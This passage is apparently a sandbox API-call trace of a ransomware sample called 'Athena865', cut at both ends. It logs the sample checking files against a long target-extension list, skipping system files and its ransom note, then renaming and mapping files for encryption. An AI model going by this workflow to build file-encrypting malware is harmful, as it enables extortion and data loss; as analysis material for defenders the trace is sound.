(lpString="nv2") returned 3 [0093.150] lstrcmpiW (lpString1="mui", lpString2="nv2") returned -1 [0093.150] lstrlenW (lpString="nwdb") returned 4 [0093.150] lstrcmpiW (lpString1=".mui", lpString2="nwdb") returned -1 [0093.150] lstrlenW (lpString="nyf") returned 3 [0093.151] lstrcmpiW (lpString1="mui", lpString2="nyf") returned -1 [0093.151] lstrlenW (lpString="odb") returned 3 [0093.151] lstrcmpiW (lpString1="mui", lpString2="odb") returned -1 [0093.151] lstrlenW (lpString="odb") returned 3 [0093.151] lstrcmpiW (lpString1="mui", lpString2="odb") returned -1 [0093.151] lstrlenW (lpString="oqy") returned 3 [0093.151] lstrcmpiW (lpString1="mui", lpString2="oqy") returned -1 [0093.151] lstrlenW (lpString="ora") returned 3 [0093.151] lstrcmpiW (lpString1="mui", lpString2="ora") returned -1 [0093.151] lstrlenW (lpString="orx") returned 3 [0093.151] lstrcmpiW (lpString1="mui", lpString2="orx") returned -1 [0093.151] lstrlenW (lpString="owc") returned 3 [0093.151] lstrcmpiW (lpString1="mui", lpString2="owc") returned -1 [0093.151] lstrlenW (lpString="p96") returned 3 [0093.151] lstrcmpiW (lpString1="mui", lpString2="p96") returned -1 [0093.151] lstrlenW (lpString="p97") returned 3 [0093.151] lstrcmpiW (lpString1="mui", lpString2="p97") returned -1 [0093.151] lstrlenW (lpString="pan") returned 3 [0093.151] lstrcmpiW (lpString1="mui", lpString2="pan") returned -1 [0093.151] lstrlenW (lpString="pdb") returned 3 [0093.151] lstrcmpiW (lpString1="mui", lpString2="pdb") returned -1 [0093.151] lstrlenW (lpString="pdm") returned 3 [0093.151] lstrcmpiW (lpString1="mui", lpString2="pdm") returned -1 [0093.151] lstrlenW (lpString="pnz") returned 3 [0093.151] lstrcmpiW (lpString1="mui", lpString2="pnz") returned -1 [0093.151] lstrlenW (lpString="qry") returned 3 [0093.151] lstrcmpiW (lpString1="mui", lpString2="qry") returned -1 [0093.151] lstrlenW (lpString="qvd") returned 3 [0093.151] lstrcmpiW (lpString1="mui", lpString2="qvd") returned -1 [0093.151] lstrlenW (lpString="rbf") returned 3 [0093.151] lstrcmpiW (lpString1="mui", lpString2="rbf") returned -1 [0093.152] lstrlenW (lpString="rctd") returned 4 [0093.152] lstrcmpiW (lpString1=".mui", lpString2="rctd") returned -1 [0093.152] lstrlenW (lpString="rod") returned 3 [0093.152] lstrcmpiW (lpString1="mui", lpString2="rod") returned -1 [0093.152] lstrlenW (lpString="rodx") returned 4 [0093.152] lstrcmpiW (lpString1=".mui", lpString2="rodx") returned -1 [0093.152] lstrlenW (lpString="rpd") returned 3 [0093.152] lstrcmpiW (lpString1="mui", lpString2="rpd") returned -1 [0093.152] lstrlenW (lpString="rsd") returned 3 [0093.152] lstrcmpiW (lpString1="mui", lpString2="rsd") returned -1 [0093.152] lstrlenW (lpString="sas7bdat") returned 8 [0093.152] lstrcmpiW (lpString1=".dll.mui", lpString2="sas7bdat") returned -1 [0093.152] lstrlenW (lpString="sbf") returned 3 [0093.152] lstrcmpiW (lpString1="mui", lpString2="sbf") returned -1 [0093.152] lstrlenW (lpString="scx") returned 3 [0093.152] lstrcmpiW (lpString1="mui", lpString2="scx") returned -1 [0093.152] lstrlenW (lpString="sdb") returned 3 [0093.152] lstrcmpiW (lpString1="mui", lpString2="sdb") returned -1 [0093.152] lstrlenW (lpString="sdc") returned 3 [0093.152] lstrcmpiW (lpString1="mui", lpString2="sdc") returned -1 [0093.152] lstrlenW (lpString="sdf") returned 3 [0093.152] lstrcmpiW (lpString1="mui", lpString2="sdf") returned -1 [0093.152] lstrlenW (lpString="sis") returned 3 [0093.152] lstrcmpiW (lpString1="mui", lpString2="sis") returned -1 [0093.152] lstrlenW (lpString="spq") returned 3 [0093.152] lstrcmpiW (lpString1="mui", lpString2="spq") returned -1 [0093.152] lstrlenW (lpString="te") returned 2 [0093.152] lstrcmpiW (lpString1="ui", lpString2="te") returned 1 [0093.152] lstrlenW (lpString="teacher") returned 7 [0093.152] lstrcmpiW (lpString1="dll.mui", lpString2="teacher") returned -1 [0093.152] lstrlenW (lpString="tmd") returned 3 [0093.153] lstrcmpiW (lpString1="mui", lpString2="tmd") returned -1 [0093.153] lstrlenW (lpString="tps") returned 3 [0093.153] lstrcmpiW (lpString1="mui", lpString2="tps") returned -1 [0093.153] lstrlenW (lpString="trc") returned 3 [0093.153] lstrcmpiW (lpString1="mui", lpString2="trc") returned -1 [0093.153] lstrlenW (lpString="trc") returned 3 [0093.153] lstrcmpiW (lpString1="mui", lpString2="trc") returned -1 [0093.153] lstrlenW (lpString="trm") returned 3 [0093.153] lstrcmpiW (lpString1="mui", lpString2="trm") returned -1 [0093.153] lstrlenW (lpString="udb") returned 3 [0093.153] lstrcmpiW (lpString1="mui", lpString2="udb") returned -1 [0093.153] lstrlenW (lpString="udl") returned 3 [0093.153] lstrcmpiW (lpString1="mui", lpString2="udl") returned -1 [0093.153] lstrlenW (lpString="usr") returned 3 [0093.153] lstrcmpiW (lpString1="mui", lpString2="usr") returned -1 [0093.153] lstrlenW (lpString="v12") returned 3 [0093.153] lstrcmpiW (lpString1="mui", lpString2="v12") returned -1 [0093.153] lstrlenW (lpString="vis") returned 3 [0093.153] lstrcmpiW (lpString1="mui", lpString2="vis") returned -1 [0093.153] lstrlenW (lpString="vpd") returned 3 [0093.153] lstrcmpiW (lpString1="mui", lpString2="vpd") returned -1 [0093.153] lstrlenW (lpString="vvv") returned 3 [0093.153] lstrcmpiW (lpString1="mui", lpString2="vvv") returned -1 [0093.153] lstrlenW (lpString="wdb") returned 3 [0093.153] lstrcmpiW (lpString1="mui", lpString2="wdb") returned -1 [0093.153] lstrlenW (lpString="wmdb") returned 4 [0093.153] lstrcmpiW (lpString1=".mui", lpString2="wmdb") returned -1 [0093.153] lstrlenW (lpString="wrk") returned 3 [0093.153] lstrcmpiW (lpString1="mui", lpString2="wrk") returned -1 [0093.154] lstrlenW (lpString="xdb") returned 3 [0093.154] lstrcmpiW (lpString1="mui", lpString2="xdb") returned -1 [0093.154] lstrlenW (lpString="xld") returned 3 [0093.154] lstrcmpiW (lpString1="mui", lpString2="xld") returned -1 [0093.154] lstrlenW (lpString="xmlff") returned 5 [0093.154] lstrcmpiW (lpString1="l.mui", lpString2="xmlff") returned -1 [0093.154] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Internet Explorer\\en-US\\hmmapi.dll.mui.Athena865") returned 71 [0093.154] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Internet Explorer\\en-US\\hmmapi.dll.mui" (normalized: "c:\\program files (x86)\\internet explorer\\en-us\\hmmapi.dll.mui"), lpNewFileName="C:\\Program Files (x86)\\Internet Explorer\\en-US\\hmmapi.dll.mui.Athena865" (normalized: "c:\\program files (x86)\\internet explorer\\en-us\\hmmapi.dll.mui.athena865"), dwFlags=0x1) returned 1 [0093.155] CreateFileW (lpFileName="C:\\Program Files (x86)\\Internet Explorer\\en-US\\hmmapi.dll.mui.Athena865" (normalized: "c:\\program files (x86)\\internet explorer\\en-us\\hmmapi.dll.mui.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0093.155] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2560) returned 1 [0093.155] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0093.156] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5392c0 [0093.156] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518d60 [0093.156] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518bc8) returned 1 [0093.156] CryptGenRandom (in: hProv=0x518bc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0093.157] CryptReleaseContext (hProv=0x518bc8, dwFlags=0x0) returned 1 [0093.157] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd00, lpName=0x0) returned 0x17c [0093.161] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd00) returned 0x100000 [0093.446] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518bc8) returned 1 [0093.447] CryptGenRandom (in: hProv=0x518bc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0093.447] CryptReleaseContext (hProv=0x518bc8, dwFlags=0x0) returned 1 [0093.447] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539338 [0093.447] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539338 | out: hHeap=0x4f0000) returned 1 [0093.447] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0093.447] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0093.447] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0093.447] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0093.447] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0093.448] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0093.448] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0093.448] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0093.448] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0093.448] CloseHandle (hObject=0x17c) returned 1 [0093.448] CloseHandle (hObject=0x154) returned 1 [0093.448] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5392c0 | out: hHeap=0x4f0000) returned 1 [0093.448] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518d60 | out: hHeap=0x4f0000) returned 1 [0093.448] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0093.448] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0c41800, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc0c41800, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0093.448] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0093.448] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="iedvtool.dll.mui", cAlternateFileName="")) returned 1 [0093.448] lstrcmpiW (lpString1="iedvtool.dll.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0093.448] lstrcmpiW (lpString1="iedvtool.dll.mui", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0093.448] lstrcmpiW (lpString1="iedvtool.dll.mui", lpString2=".") returned 1 [0093.448] lstrcmpiW (lpString1="iedvtool.dll.mui", lpString2="..") returned 1 [0093.448] lstrcmpiW (lpString1="iedvtool.dll.mui", lpString2="windows") returned -1 [0093.448] lstrcmpiW (lpString1="iedvtool.dll.mui", lpString2="bootmgr") returned 1 [0093.448] lstrcmpiW (lpString1="iedvtool.dll.mui", lpString2="temp") returned -1 [0093.448] lstrcmpiW (lpString1="iedvtool.dll.mui", lpString2="pagefile.sys") returned -1 [0093.448] lstrcmpiW (lpString1="iedvtool.dll.mui", lpString2="boot") returned 1 [0093.449] lstrcmpiW (lpString1="iedvtool.dll.mui", lpString2="ids.txt") returned 1 [0093.449] lstrcmpiW (lpString1="iedvtool.dll.mui", lpString2="ntuser.dat") returned -1 [0093.449] lstrcmpiW (lpString1="iedvtool.dll.mui", lpString2="perflogs") returned -1 [0093.449] lstrcmpiW (lpString1="iedvtool.dll.mui", lpString2="MSBuild") returned -1 [0093.449] lstrlenW (lpString="iedvtool.dll.mui") returned 16 [0093.449] lstrcpyW (in: lpString1=0x241e8a6, lpString2="iedvtool.dll.mui" | out: lpString1="iedvtool.dll.mui") returned="iedvtool.dll.mui" [0093.449] lstrlenW (lpString="iedvtool.dll.mui") returned 16 [0093.449] lstrlenW (lpString="Athena865") returned 9 [0093.449] lstrcmpiW (lpString1="l.dll.mui", lpString2="Athena865") returned 1 [0093.449] lstrlenW (lpString=".dll") returned 4 [0093.449] lstrcmpiW (lpString1="iedvtool.dll.mui", lpString2=".dll") returned 1 [0093.449] lstrlenW (lpString=".lnk") returned 4 [0093.449] lstrcmpiW (lpString1="iedvtool.dll.mui", lpString2=".lnk") returned 1 [0093.449] lstrlenW (lpString=".ini") returned 4 [0093.449] lstrcmpiW (lpString1="iedvtool.dll.mui", lpString2=".ini") returned 1 [0093.449] lstrlenW (lpString=".sys") returned 4 [0093.449] lstrcmpiW (lpString1="iedvtool.dll.mui", lpString2=".sys") returned 1 [0093.449] lstrlenW (lpString="iedvtool.dll.mui") returned 16 [0093.449] lstrlenW (lpString="bak") returned 3 [0093.449] lstrcmpiW (lpString1="mui", lpString2="bak") returned 1 [0093.449] lstrlenW (lpString="ba_") returned 3 [0093.449] lstrcmpiW (lpString1="mui", lpString2="ba_") returned 1 [0093.449] lstrlenW (lpString="dbb") returned 3 [0093.449] lstrcmpiW (lpString1="mui", lpString2="dbb") returned 1 [0093.449] lstrlenW (lpString="vmdk") returned 4 [0093.449] lstrcmpiW (lpString1=".mui", lpString2="vmdk") returned -1 [0093.449] lstrlenW (lpString="rar") returned 3 [0093.449] lstrcmpiW (lpString1="mui", lpString2="rar") returned -1 [0093.449] lstrlenW (lpString="zip") returned 3 [0093.449] lstrcmpiW (lpString1="mui", lpString2="zip") returned -1 [0093.449] lstrlenW (lpString="tgz") returned 3 [0093.449] lstrcmpiW (lpString1="mui", lpString2="tgz") returned -1 [0093.449] lstrlenW (lpString="vbox") returned 4 [0093.449] lstrcmpiW (lpString1=".mui", lpString2="vbox") returned -1 [0093.449] lstrlenW (lpString="vdi") returned 3 [0093.449] lstrcmpiW (lpString1="mui", lpString2="vdi") returned -1 [0093.449] lstrlenW (lpString="vhd") returned 3 [0093.450] lstrcmpiW (lpString1="mui", lpString2="vhd") returned -1 [0093.450] lstrlenW (lpString="vhdx") returned 4 [0093.450] lstrcmpiW (lpString1=".mui", lpString2="vhdx") returned -1 [0093.450] lstrlenW (lpString="avhd") returned 4 [0093.450] lstrcmpiW (lpString1=".mui", lpString2="avhd") returned -1 [0093.450] lstrlenW (lpString="db") returned 2 [0093.450] lstrcmpiW (lpString1="ui", lpString2="db") returned 1 [0093.450] lstrlenW (lpString="db2") returned 3 [0093.450] lstrcmpiW (lpString1="mui", lpString2="db2") returned 1 [0093.450] lstrlenW (lpString="db3") returned 3 [0093.450] lstrcmpiW (lpString1="mui", lpString2="db3") returned 1 [0093.450] lstrlenW (lpString="dbf") returned 3 [0093.450] lstrcmpiW (lpString1="mui", lpString2="dbf") returned 1 [0093.450] lstrlenW (lpString="mdf") returned 3 [0093.450] lstrcmpiW (lpString1="mui", lpString2="mdf") returned 1 [0093.450] lstrlenW (lpString="mdb") returned 3 [0093.450] lstrcmpiW (lpString1="mui", lpString2="mdb") returned 1 [0093.450] lstrlenW (lpString="sql") returned 3 [0093.450] lstrcmpiW (lpString1="mui", lpString2="sql") returned -1 [0093.450] lstrlenW (lpString="sqlite") returned 6 [0093.450] lstrcmpiW (lpString1="ll.mui", lpString2="sqlite") returned -1 [0093.450] lstrlenW (lpString="sqlite3") returned 7 [0093.450] lstrcmpiW (lpString1="dll.mui", lpString2="sqlite3") returned -1 [0093.450] lstrlenW (lpString="sqlitedb") returned 8 [0093.450] lstrcmpiW (lpString1=".dll.mui", lpString2="sqlitedb") returned -1 [0093.450] lstrlenW (lpString="xml") returned 3 [0093.450] lstrcmpiW (lpString1="mui", lpString2="xml") returned -1 [0093.450] lstrlenW (lpString="$er") returned 3 [0093.450] lstrcmpiW (lpString1="mui", lpString2="$er") returned 1 [0093.450] lstrlenW (lpString="4dd") returned 3 [0093.450] lstrcmpiW (lpString1="mui", lpString2="4dd") returned 1 [0093.450] lstrlenW (lpString="4dl") returned 3 [0093.450] lstrcmpiW (lpString1="mui", lpString2="4dl") returned 1 [0093.450] lstrlenW (lpString="^^^") returned 3 [0093.450] lstrcmpiW (lpString1="mui", lpString2="^^^") returned 1 [0093.450] lstrlenW (lpString="abs") returned 3 [0093.450] lstrcmpiW (lpString1="mui", lpString2="abs") returned 1 [0093.450] lstrlenW (lpString="abx") returned 3 [0093.451] lstrcmpiW (lpString1="mui", lpString2="abx") returned 1 [0093.451] lstrlenW (lpString="accdb") returned 5 [0093.451] lstrcmpiW (lpString1="l.mui", lpString2="accdb") returned 1 [0093.451] lstrlenW (lpString="accdc") returned 5 [0093.451] lstrcmpiW (lpString1="l.mui", lpString2="accdc") returned 1 [0093.451] lstrlenW (lpString="accde") returned 5 [0093.451] lstrcmpiW (lpString1="l.mui", lpString2="accde") returned 1 [0093.451] lstrlenW (lpString="accdr") returned 5 [0093.451] lstrcmpiW (lpString1="l.mui", lpString2="accdr") returned 1 [0093.451] lstrlenW (lpString="accdt") returned 5 [0093.451] lstrcmpiW (lpString1="l.mui", lpString2="accdt") returned 1 [0093.451] lstrlenW (lpString="accdw") returned 5 [0093.451] lstrcmpiW (lpString1="l.mui", lpString2="accdw") returned 1 [0093.451] lstrlenW (lpString="accft") returned 5 [0093.451] lstrcmpiW (lpString1="l.mui", lpString2="accft") returned 1 [0093.451] lstrlenW (lpString="adb") returned 3 [0093.451] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0093.451] lstrlenW (lpString="adb") returned 3 [0093.451] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0093.451] lstrlenW (lpString="ade") returned 3 [0093.451] lstrcmpiW (lpString1="mui", lpString2="ade") returned 1 [0093.451] lstrlenW (lpString="adf") returned 3 [0093.451] lstrcmpiW (lpString1="mui", lpString2="adf") returned 1 [0093.451] lstrlenW (lpString="adn") returned 3 [0093.451] lstrcmpiW (lpString1="mui", lpString2="adn") returned 1 [0093.451] lstrlenW (lpString="adp") returned 3 [0093.451] lstrcmpiW (lpString1="mui", lpString2="adp") returned 1 [0093.451] lstrlenW (lpString="alf") returned 3 [0093.451] lstrcmpiW (lpString1="mui", lpString2="alf") returned 1 [0093.451] lstrlenW (lpString="ask") returned 3 [0093.451] lstrcmpiW (lpString1="mui", lpString2="ask") returned 1 [0093.451] lstrlenW (lpString="btr") returned 3 [0093.451] lstrcmpiW (lpString1="mui", lpString2="btr") returned 1 [0093.451] lstrlenW (lpString="cat") returned 3 [0093.451] lstrcmpiW (lpString1="mui", lpString2="cat") returned 1 [0093.451] lstrlenW (lpString="cdb") returned 3 [0093.451] lstrcmpiW (lpString1="mui", lpString2="cdb") returned 1 [0093.451] lstrlenW (lpString="ckp") returned 3 [0093.452] lstrcmpiW (lpString1="mui", lpString2="ckp") returned 1 [0093.452] lstrlenW (lpString="cma") returned 3 [0093.452] lstrcmpiW (lpString1="mui", lpString2="cma") returned 1 [0093.452] lstrlenW (lpString="cpd") returned 3 [0093.452] lstrcmpiW (lpString1="mui", lpString2="cpd") returned 1 [0093.452] lstrlenW (lpString="dacpac") returned 6 [0093.452] lstrcmpiW (lpString1="ll.mui", lpString2="dacpac") returned 1 [0093.452] lstrlenW (lpString="dad") returned 3 [0093.452] lstrcmpiW (lpString1="mui", lpString2="dad") returned 1 [0093.452] lstrlenW (lpString="dadiagrams") returned 10 [0093.452] lstrcmpiW (lpString1="ol.dll.mui", lpString2="dadiagrams") returned 1 [0093.452] lstrlenW (lpString="daschema") returned 8 [0093.452] lstrcmpiW (lpString1=".dll.mui", lpString2="daschema") returned -1 [0093.452] lstrlenW (lpString="db-journal") returned 10 [0093.452] lstrcmpiW (lpString1="ol.dll.mui", lpString2="db-journal") returned 1 [0093.452] lstrlenW (lpString="db-shm") returned 6 [0093.452] lstrcmpiW (lpString1="ll.mui", lpString2="db-shm") returned 1 [0093.452] lstrlenW (lpString="db-wal") returned 6 [0093.452] lstrcmpiW (lpString1="ll.mui", lpString2="db-wal") returned 1 [0093.452] lstrlenW (lpString="dbc") returned 3 [0093.452] lstrcmpiW (lpString1="mui", lpString2="dbc") returned 1 [0093.452] lstrlenW (lpString="dbs") returned 3 [0093.452] lstrcmpiW (lpString1="mui", lpString2="dbs") returned 1 [0093.452] lstrlenW (lpString="dbt") returned 3 [0093.452] lstrcmpiW (lpString1="mui", lpString2="dbt") returned 1 [0093.452] lstrlenW (lpString="dbv") returned 3 [0093.452] lstrcmpiW (lpString1="mui", lpString2="dbv") returned 1 [0093.452] lstrlenW (lpString="dbx") returned 3 [0093.452] lstrcmpiW (lpString1="mui", lpString2="dbx") returned 1 [0093.452] lstrlenW (lpString="dcb") returned 3 [0093.452] lstrcmpiW (lpString1="mui", lpString2="dcb") returned 1 [0093.453] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Internet Explorer\\en-US\\iedvtool.dll.mui.Athena865") returned 73 [0093.453] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Internet Explorer\\en-US\\iedvtool.dll.mui" (normalized: "c:\\program files (x86)\\internet explorer\\en-us\\iedvtool.dll.mui"), lpNewFileName="C:\\Program Files (x86)\\Internet Explorer\\en-US\\iedvtool.dll.mui.Athena865" (normalized: "c:\\program files (x86)\\internet explorer\\en-us\\iedvtool.dll.mui.athena865"), dwFlags=0x1) returned 1 [0093.454] CreateFileW (lpFileName="C:\\Program Files (x86)\\Internet Explorer\\en-US\\iedvtool.dll.mui.Athena865" (normalized: "c:\\program files (x86)\\internet explorer\\en-us\\iedvtool.dll.mui.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0093.454] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=28672) returned 1 [0093.454] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0093.454] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5392c0 [0093.454] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518d60 [0093.455] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518bc8) returned 1 [0093.455] CryptGenRandom (in: hProv=0x518bc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0093.455] CryptReleaseContext (hProv=0x518bc8, dwFlags=0x0) returned 1 [0093.455] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7300, lpName=0x0) returned 0x17c [0093.457] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7300) returned 0x100000 [0093.649] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518bc8) returned 1 [0093.649] CryptGenRandom (in: hProv=0x518bc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0093.649] CryptReleaseContext (hProv=0x518bc8, dwFlags=0x0) returned 1 [0093.650] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539338 [0093.650] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539338 | out: hHeap=0x4f0000) returned 1 [0093.650] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0093.650] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0093.650] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0093.650] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0093.650] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0093.650] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0093.650] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0093.650] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0093.650] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0093.651] CloseHandle (hObject=0x17c) returned 1 [0093.651] CloseHandle (hObject=0x154) returned 1 [0093.651] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5392c0 | out: hHeap=0x4f0000) returned 1 [0093.651] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518d60 | out: hHeap=0x4f0000) returned 1 [0093.651] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0093.651] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ieinstal.exe.mui", cAlternateFileName="")) returned 1 [0093.651] lstrcmpiW (lpString1="ieinstal.exe.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0093.651] lstrcmpiW (lpString1="ieinstal.exe.mui", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0093.651] lstrcmpiW (lpString1="ieinstal.exe.mui", lpString2=".") returned 1 [0093.651] lstrcmpiW (lpString1="ieinstal.exe.mui", lpString2="..") returned 1 [0093.651] lstrcmpiW (lpString1="ieinstal.exe.mui", lpString2="windows") returned -1 [0093.651] lstrcmpiW (lpString1="ieinstal.exe.mui", lpString2="bootmgr") returned 1 [0093.651] lstrcmpiW (lpString1="ieinstal.exe.mui", lpString2="temp") returned -1 [0093.651] lstrcmpiW (lpString1="ieinstal.exe.mui", lpString2="pagefile.sys") returned -1 [0093.651] lstrcmpiW (lpString1="ieinstal.exe.mui", lpString2="boot") returned 1 [0093.651] lstrcmpiW (lpString1="ieinstal.exe.mui", lpString2="ids.txt") returned 1 [0093.652] lstrcmpiW (lpString1="ieinstal.exe.mui", lpString2="ntuser.dat") returned -1 [0093.652] lstrcmpiW (lpString1="ieinstal.exe.mui", lpString2="perflogs") returned -1 [0093.652] lstrcmpiW (lpString1="ieinstal.exe.mui", lpString2="MSBuild") returned -1 [0093.652] lstrlenW (lpString="ieinstal.exe.mui") returned 16 [0093.652] lstrcpyW (in: lpString1=0x241e8a6, lpString2="ieinstal.exe.mui" | out: lpString1="ieinstal.exe.mui") returned="ieinstal.exe.mui" [0093.652] lstrlenW (lpString="ieinstal.exe.mui") returned 16 [0093.652] lstrlenW (lpString="Athena865") returned 9 [0093.652] lstrcmpiW (lpString1="l.exe.mui", lpString2="Athena865") returned 1 [0093.652] lstrlenW (lpString=".dll") returned 4 [0093.652] lstrcmpiW (lpString1="ieinstal.exe.mui", lpString2=".dll") returned 1 [0093.652] lstrlenW (lpString=".lnk") returned 4 [0093.652] lstrcmpiW (lpString1="ieinstal.exe.mui", lpString2=".lnk") returned 1 [0093.652] lstrlenW 